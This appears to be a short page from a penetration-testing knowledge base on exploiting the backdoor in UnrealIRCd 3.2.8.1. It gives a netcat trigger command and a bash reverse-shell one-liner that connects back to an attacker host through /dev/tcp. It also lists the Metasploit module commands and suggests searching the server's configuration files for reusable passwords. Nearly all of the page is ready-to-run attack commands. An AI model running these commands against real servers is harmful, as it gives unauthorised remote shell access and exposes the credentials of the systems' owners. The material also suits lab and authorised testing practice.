Skip to content
HackIndex.io

UnrealIRCd 3.2.8.1 Backdoor Exploitation

2 min read Created Sep 14, 2026 Last updated Sep 14, 2026

A backdoored version of UnrealIRCd 3.2.8.1 was distributed from the official download mirror between November 2009 and June 2010. The backdoor executes any system command prefixed with AB; sent as raw data to the IRC port. No authentication or valid IRC handshake is required. If IRC enumeration shows UnrealIRCd version 3.2.8.1, test for this backdoor immediately.

Test the Backdoor

Send the trigger prefix followed by a command. Output may not be returned through the IRC connection, so use a command with observable side effects:

┌──(kali㉿kali)-[~]
└─$ echo 'AB; id' | nc -w 3 $TARGET_IP 6667

If the backdoor is present, the command after AB; executes on the server. No output returned through IRC is expected. Confirm with a reverse shell or out-of-band callback.

Reverse Shell

Start a listener with nc -lvnp $LPORT first, then trigger the backdoor with a bash reverse shell:

┌──(kali㉿kali)-[~]
└─$ echo 'AB; bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"' | nc $TARGET_IP 6667

The shell runs as the user running the IRC daemon, typically irc or nobody. Check /etc/unrealircd/ and /home/irc/ for configuration files containing passwords that may be reused elsewhere.

Metasploit Module

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 > set RHOSTS $TARGET_IP
msf6 > set PAYLOAD cmd/unix/reverse_perl
msf6 > set LHOST $LHOST
msf6 > set LPORT $LPORT
msf6 > run

References